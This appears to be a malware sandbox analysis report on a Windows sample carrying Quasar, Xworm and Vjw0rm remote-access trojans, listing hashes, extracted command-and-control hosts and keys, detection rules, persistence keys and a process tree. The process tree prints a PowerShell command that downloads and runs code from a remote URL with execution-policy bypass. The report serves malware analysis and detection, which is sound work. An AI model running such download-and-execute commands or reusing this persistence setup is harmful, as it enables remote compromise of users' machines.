quasar | a81bf430b25da55bf050945681ef9361d8894669f38fdf48a9c5cb819ebc574b

Analysis

max time kernel
110s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 11:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 1.3MB
Sample260720-m8faeafy4m
SHA256 a81bf430b25da55bf050945681ef9361d8894669f38fdf48a9c5cb819ebc574b
MD5 e36217acc764c6e00f732e73c5a5d726
SHA1 904f5547fd024673c81dd1ade481592b8f7887fc
SHA512 ef578bb29def57d5cb60c02963b69e6a4d14cc656e27597ad346f3e2b6f26fc5621b0b255eb481401e42c67c29197011c8a20bbd8e2221b59093ca5c6af2e327
SSDEEP 24576:EmHdCHubBIKvR2EzvN6c+ehOyIJCGrmDlLR:/HdCHzCPMc+ekJCGrALR
TLSH
T13655E0E5CEA03068E066A5B4B951453ECA337C040B716ACF139FF9959FB39A44E3DB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

new sbh fth discovery execution quasar vjw0rm xworm persistence rat spyware trojan upx worm

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://codeberg.org/kralking/code/raw/branch/main/program.txt

Extracted

Family

xworm

deli.ydns.eu:600
kmsgui.dns.army:600
82.165.179.9:600

Mutex

9wl1iEr8J46aOky4

Attributes

Install_directory
%AppData%
install_file
SystemSettings.exe

aes.plain

Extracted

Family

quasar

Version

1.4.0.0

Botnet

NEW SBH FTH

deli.ydns.eu:90
82.165.179.9:90

Mutex

qJ6CTlzQe7KlkbQvSe

Attributes

encryption_key
8jAQYR2uQQ47kwLl7SSP
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/936-676-0x0000000001360000-0x000000000137C000-memory.dmp	family_xworm

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp	family_quasar

Detects Windows executables referencing non-Windows User-Agents 2 IoCs

resource	yara_rule
behavioral2/memory/936-676-0x0000000001360000-0x000000000137C000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables containing common artifacts observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp	INDICATOR_SUSPICIOUS_GENInfoStealer

UPX dump on OEP (original entry point) 14 IoCs

resource	yara_rule
behavioral2/files/0x000b00000001c714-610.dat	UPX
behavioral2/memory/5856-615-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-633-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-634-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-635-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-637-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-640-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-641-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-642-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-671-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-672-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-673-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-675-0x0000000000400000-0x0000000000501000-memory.dmp	UPX
behavioral2/memory/5856-684-0x0000000000400000-0x0000000000501000-memory.dmp	UPX

Badlisted process makes network request 23 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4948	WScript.exe
3	4648	WScript.exe
4	4948	WScript.exe
5	4648	WScript.exe
6	4948	WScript.exe
7	4648	WScript.exe
8	1212	WScript.exe
9	4948	WScript.exe
10	1212	WScript.exe
11	1212	WScript.exe
12	1212	WScript.exe
13	1212	WScript.exe
14	1212	WScript.exe
15	4648	WScript.exe
16	4948	WScript.exe
17	4648	WScript.exe
18	4948	WScript.exe
19	4648	WScript.exe
20	4948	WScript.exe
21	4648	WScript.exe
23	4948	WScript.exe
24	4648	WScript.exe
25	5024	powershell.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemSettings.lnk	SearchProtocolHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemSettings.lnk	SearchProtocolHost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdater.js	xcopy.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdater.js	xcopy.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.js	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.js	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
5856	setup.exe
936	SearchProtocolHost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\8IGTIT65UA = "\"C:\\Users\\Admin\\AppData\\Roaming\\win.js\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\8IGTIT65UA = "\"C:\\Users\\Admin\\AppData\\Roaming\\win.js\""	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4148	powershell.exe
5024	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5024 set thread context of 2968	5024	powershell.exe	105

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000b00000001c714-610.dat	upx
behavioral2/memory/5856-615-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-633-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-634-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-635-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-637-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-640-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-641-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-642-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-671-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-672-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-673-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-675-0x0000000000400000-0x0000000000501000-memory.dmp	upx
behavioral2/memory/5856-684-0x0000000000400000-0x0000000000501000-memory.dmp	upx

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4364	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings	setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe
936	SearchProtocolHost.exe
936	SearchProtocolHost.exe
936	SearchProtocolHost.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	936	SearchProtocolHost.exe
Token: SeDebugPrivilege	5024	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5856	setup.exe
5856	setup.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
5856	setup.exe
5856	setup.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
936	SearchProtocolHost.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 5856	4024	2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe	88
PID 5856 wrote to memory of 4364	5856	setup.exe	89
PID 4364 wrote to memory of 4148	4364	cmd.exe	91
PID 5856 wrote to memory of 1212	5856	setup.exe	92
PID 5856 wrote to memory of 4948	5856	setup.exe	93
PID 1212 wrote to memory of 936	1212	WScript.exe	99
PID 5856 wrote to memory of 2824	5856	setup.exe	100
PID 2824 wrote to memory of 5024	2824	WScript.exe	101
PID 2824 wrote to memory of 2680	2824	WScript.exe	103
PID 5024 wrote to memory of 2968	5024	powershell.exe	105
PID 5024 wrote to memory of 2968	5024	powershell.exe	105
PID 5024 wrote to memory of 2968	5024	powershell.exe	105
PID 5024 wrote to memory of 2968	5024	powershell.exe	105
PID 5024 wrote to memory of 2968	5024	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4024
- C:\ProgramData\setup.exe
  "C:\ProgramData\setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4148
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\Updater.js"
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe
      "C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:936
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\win.js"
    3⤵
    - Badlisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4948
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\WindowsUpdater.js"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://codeberg.org/kralking/code/raw/branch/main/program.txt')"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5024
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2968
  - - C:\Windows\SysWOW64\xcopy.exe
      "C:\Windows\System32\xcopy.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\WindowsUpdater.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdater.js*"
      4⤵
      Drops startup file
      System Location Discovery: System Language Discovery
      Enumerates system info in registry
      PID:2680

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\win.js"
1⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
PID:4648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PCWDiagnostic.xml

Path C:\ProgramData\diag fix\index\PCWDiagnostic.xml
Size 85KB
SHA256 aa2aae961ecc3aa00a7280ff94a553de2acc402aff0703351b4ff6bafecce2f2
MD5 491e95fb282472bb88bb16af125d3414
SHA1 b6566ea6c708cf62fdef80288e60021971120d3c
SHA512 567d5bac9f9da3950ffcf90f918633bfdb50816a5ad1e92de2f91fc3b9f25dcef6129d4f05c47e6662afd1870efb8dad422848c9e7d0a09e232be9bd6a105187
SSDEEP 384:gi8H7wLuYySORTn2NypAFhpbljh3i2KDjh+1iTBpKM79WmwWF1CA9sxYw+4975:uh+1GpR9hwWF1CA9sxrh5
TLSH
T1C7833B3CAD77422E2079CA93A9D442C7687A7397539E6F45609943F80B93F0FE899C1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win.ps1

Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\Settings\A\News\win.ps1
Size 106KB
SHA256 aa473b497f678fa03231fd55cd7c93467a26223f58f05581f59d4a81abd50152
MD5 825db940f795e79799f96aff9de2e076
SHA1 31e991b18e6f180e6f97439fad4561b88c802eed
SHA512 ab4def662783717b4ab48a83991e3569d6bff2c0fd327d62adc5553e7e4e5e923645cad63ce3ae19ff0147ad29264c8e5705f7c6c84ae7ddb65c2e9713f3c970
SSDEEP 768:o3n+xnbrb0aCfNXFmteyxUReuqNPFTRGtyHs63DnLQx+j5Rv8V/TSvsD4O2Aumd8:ou5tDkpVrDpHWt
TLSH
T16BB3FDB9DA39ECC0076C76D01AA7398A20B4A233477884A8EF500DCA7519F6EFF7555C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win.js

Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\win.js
Size 39KB
SHA256 3196b352918a3abe5dee4cdf2454251ef794dc553b4cfcebdcaa28b6131e2685
MD5 a440bcf2af445a21abac42ff6b1d67c3
SHA1 1e512b9fac76556d06650cee91cd5e4eb9f6ef93
SHA512 6948642322a920aa85d4ab15ac9a1f19207f680f19401c22417b059c9c79414f636858e1a1289b6543fabce88143fc1cd61e136827ad39c7e7320780c7b63a18
SSDEEP 384:umPqXqNSVJMHfRYE5xsY6Etf0HukVgg5XqkNiLPH//iw6o169MgIwhYA+yVjQc0q:Aq2uzg5XqU4PV6ugGyaaB
TLSH
T1C0034B2CEE77616D727FC89261D49043D43823EBD24E2F8521D793E4069B78DB468CAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Updater.js

Path C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\Updater.js
Size 23KB
SHA256 d8b23ecc5ec4787d26280b887bca8af36dd1934b1f4fec4eb5e002781dfc2111
MD5 1cbb9a34066cdd585fa10736df25df93
SHA1 406976fb9e98f648e3e1b323d1e86e37726415ef
SHA512 81ad12eba56b36fba6fa38c9229d921066e3da061162eebc96e9f0ee9ca274ef1fa91df8bd01ef9235ad8694b444f4aa957ccc99df6b330b63c4d2cc5b530048
SSDEEP 384:zwQr9wMRBw9CPkf4Xyf5spCL3bxl33kIDyf5Tm2QbgH8RdhRJWmMuisuU7/30Wp:/9LIN481RJW5Y7/30Wp
TLSH
T1C8B26C3CAFB7451D3171E9E1A9E540C794B977EB771EAF8A018183E6069360EB4E8C1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CL_LocalizationData.psd1

Path C:\ProgramData\diag fix\system\Audio\Prefetch\CL_LocalizationData.psd1
Size 3KB
SHA256 00a6c19fc0e6bc0d9da94c3ee1fa3628672ff8d2211d7d5ac8b297feb7aed670
MD5 cbea3d1eb61aa13aebf97da2678e0313
SHA1 e73f7d64283ac1c2eead94629ee8f21759c57cdb
SHA512 7257b3c123e122e4815c1f3426dc4fc4c58439bda6fa03d70957690831f765fa79a63939e5b09e273a28d2b4d4f9dfbdf6620800f43d4f70aa6d2f4b4f496bd3
TLSH
T1F26155052EE8C03CF1F39F18D5A1D9131A6579DA5CE8A23C05A14D0D49E2B20CF6BBF6
MD5 SHA1 SHA512 TLSH

Submit Download

DiagPackage.dll.mui

Path C:\ProgramData\diag fix\system\Audio\Prefetch\DiagPackage.dll.mui
Size 9KB
SHA256 b07cfffb57172a40a388f8f38817301c5b81a6a87a849b210e45eed60d0a36cf
MD5 30a8c1af9bcf8bba0b6c380b25326b60
SHA1 e236bebf7be0f573f73ab702e505613deeb1705b
SHA512 519cbefb29826ab34bedbad89d6d3475674815bb74c203c3047a22e64f83216d3e0afc3e83c527f5e14fe4c42e4abd25a877d4b56f2cae70f990107b70159438
SSDEEP 96:/v/dmzBrjs65GLo9navkBlvLokXpjQJtOsWg0JcWw6:/vY0Lo9avelzoOpjQJ5WriWN
TLSH
T1CE1279001EA9C53DF4A39B75C287C65392BD5467BCE9223F8A240F0915901348FABBFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CL_LocalizationData.psd1

Path C:\ProgramData\diag fix\system\Audio\ShellNew\CL_LocalizationData.psd1
Size 3KB
SHA256 82d59d69833c45c7b6a73b95bc2a878a59fdc849fd76aff21d8c268ee024d738
MD5 f2b7c91f7928803c7af5fe964381fdce
SHA1 bbac159d96eda1fffa346b6da6ac4d8c2f823aa1
SHA512 33ffe010730689de30919475081de151f94fe519f45698cf818ed794ccdfdfad5a87f8e915018b67207461cc50b4218776d2ef229bb306bc8f18315ef99cefe9
TLSH
T11A61248663F80228F2F36F54A9B929640E76BCE6AC78D21C1291955E4CF2F50CDB1773
MD5 SHA1 SHA512 TLSH

Submit Download

DiagPackage.dll.mui

Path C:\ProgramData\diag fix\system\Audio\ShellNew\DiagPackage.dll.mui
Size 8KB
SHA256 64eb9b75083ff881602ad48de5795e519c98de84029c2846bcfc857644a64c47
MD5 c48e2806c002b63c4abe2eecd850a907
SHA1 6022fedd0fc92a82ff708ffcd5cabd9e3d4a9e63
SHA512 62e22d8a6ae47a30efe5692899fae7c7005811f3ba95eb6f88f54c5c1a176512e8a49713a49a8273f7784f03d05c79b53b8277ac97a0940af224d54ab4618201
SSDEEP 96:gHd/0s6NN4HrNjuicyCrNurNZrd19ryrNzh2kjBA5ufrNZR5s337iMMl4LC9GJj9:g64d7mO4eHyWriWV
TLSH
T1F2F1CE41A3F94519F6FB6FB11EFA2A245A3AFCA6AD39C34D0650006D5872F51D8B0B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setup.exe

Path C:\ProgramData\setup.exe
Size 428KB
SHA256 31bd54a3be76992f0499f7ccf67681fa3c0f853a188873c247ec52c28aaaf5fa
MD5 8075a510aaaf8918398a3f3609a81b55
SHA1 b4ea9c3c2ed089f5a9c425cd46a0176bb3a4d332
SHA512 f947504b8c86cf42b363963495db54c48de141a2b38b61d2113323663a39e1d2a880d328a294f3de3e525f624c08a46a6037a67bf7e3d4a805131985571e783b
SSDEEP 12288:botF2kFEI7BFRR3RVPD8BbqdBUTb7vhjtl:AF2fanR33bLqb7vhX
TLSH
T1659422F3DDA2BF44DE652435339F1AFC390B5F212F969796286BFE40243A18D683A501
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 f03f6fc2c8855b686e9632e719562322d13b2e39daf193510e6b86b2bcd6b366
MD5 083fd0f8aaf5d12862c7f12d2aaf7c2b
SHA1 434162f7e44b317585f48b4b300dee7890f18cfd
SHA512 57df008c8992f949b2eb20fe3e18cb05ff70c54b01faa49b94f379d003b81f625c7cd15ae198ebed1c6fcc3a201378ce30af535aa1ca01d43e75dd5af49fec68
SSDEEP 1536:0td5Yo2hO3vdfKQVCYGflJdCHYWh4iUx9R40i71YidyPcMrxoV3CNBQkj2Ya5eDi:0v5Yo2hO3vdfKQVCYGflJdwYWqiU9RC9
TLSH
T1AC5374D2E9204E75E2A66F3EF15622627C34394690F8113212DC25EF99879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchProtocolHost.exe

Path C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe
Size 91KB
SHA256 e6c14163fb9398c674843f747daf990beabaf220702aec180cc33a5956401326
MD5 eabc1166ca3c6057ba65c3ffead68172
SHA1 ca11e6f0761858161dac6a23b9cd40396791c5a3
SHA512 9d030e1a82de5497ef47470c72e24068cfce8e9ee2abf56b8be3eae24a44f49f2e4ecb804eb9950b5eaae75f48f3d48cc1d8271aeb411a79cf29eaeb915ecdf6
SSDEEP 1536:40lY4e0v8jRRUPsi4aVZScv49nLXO+1dOEsb9b8WomIcoKCE45nHQ:40lY4e0vQdOEsh88Ict
TLSH
T1C59329C16E18FB06C9AF0D3875A3497C15339F120506DA893E9FFA9A9FBFB484431646
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_c232zluo.y5e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c232zluo.y5e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/936-670-0x0000000003090000-0x00000000030B2000-memory.dmp

Download

memory/936-667-0x0000000000300000-0x000000000031C000-memory.dmp

Download

memory/936-674-0x00007FFE2F670000-0x00007FFE30014000-memory.dmp

Download

memory/936-676-0x0000000001360000-0x000000000137C000-memory.dmp

Download

memory/2968-691-0x00000000056C0000-0x0000000005752000-memory.dmp

Download

memory/2968-704-0x0000000006E10000-0x0000000006E1A000-memory.dmp

Download

memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp

Download

memory/2968-701-0x00000000057A0000-0x00000000057B2000-memory.dmp

Download

memory/2968-702-0x0000000006AA0000-0x0000000006ADC000-memory.dmp

Download

memory/4148-628-0x0000000007300000-0x0000000007396000-memory.dmp

Download

memory/4148-617-0x00000000029D0000-0x0000000002A06000-memory.dmp

Download

memory/4148-631-0x0000000007960000-0x0000000007F1A000-memory.dmp

Download

memory/4148-630-0x00000000072B0000-0x00000000072D2000-memory.dmp

Download

memory/4148-621-0x0000000005980000-0x00000000059E6000-memory.dmp

Download

memory/4148-627-0x0000000006ED0000-0x0000000006F18000-memory.dmp

Download

memory/4148-629-0x0000000007260000-0x000000000727A000-memory.dmp

Download

memory/4148-632-0x00000000085A0000-0x0000000008C1C000-memory.dmp

Download

memory/4148-618-0x0000000005190000-0x00000000057DA000-memory.dmp

Download

memory/4148-626-0x0000000005F70000-0x0000000005FBC000-memory.dmp

Download

memory/4148-625-0x0000000005F00000-0x0000000005F1E000-memory.dmp

Download

memory/4148-624-0x00000000059F0000-0x0000000005D4B000-memory.dmp

Download

memory/4148-619-0x0000000005100000-0x0000000005122000-memory.dmp

Download

memory/4148-620-0x0000000005910000-0x0000000005976000-memory.dmp

Download

memory/5024-697-0x0000000007CD0000-0x0000000007CF0000-memory.dmp

Download

memory/5024-693-0x000000006F470000-0x000000006F4BC000-memory.dmp

Download

memory/5024-708-0x000000000A600000-0x000000000A608000-memory.dmp

Download

memory/5024-707-0x0000000007EC0000-0x0000000007EDC000-memory.dmp

Download

memory/5024-706-0x0000000007E60000-0x0000000007E75000-memory.dmp

Download

memory/5024-705-0x0000000007E50000-0x0000000007E60000-memory.dmp

Download

memory/5024-700-0x0000000007E30000-0x0000000007E41000-memory.dmp

Download

memory/5024-699-0x0000000007DE0000-0x0000000007DEA000-memory.dmp

Download

memory/5024-688-0x00000000053F0000-0x00000000053FA000-memory.dmp

Download

memory/5024-689-0x0000000007BB0000-0x0000000007C4C000-memory.dmp

Download

memory/5024-698-0x0000000007CF0000-0x0000000007D93000-memory.dmp

Download

memory/5024-694-0x000000006F620000-0x000000006F97B000-memory.dmp

Download

memory/5024-692-0x0000000007C90000-0x0000000007CC6000-memory.dmp

Download

memory/5856-641-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-615-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-637-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-640-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-673-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-642-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-635-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-634-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-633-0x0000000000400000-0x0000000000501000-memory.dmp

Download

memory/5856-684-0x0000000000400000-0x0000000000501000-memory.dmp

Download

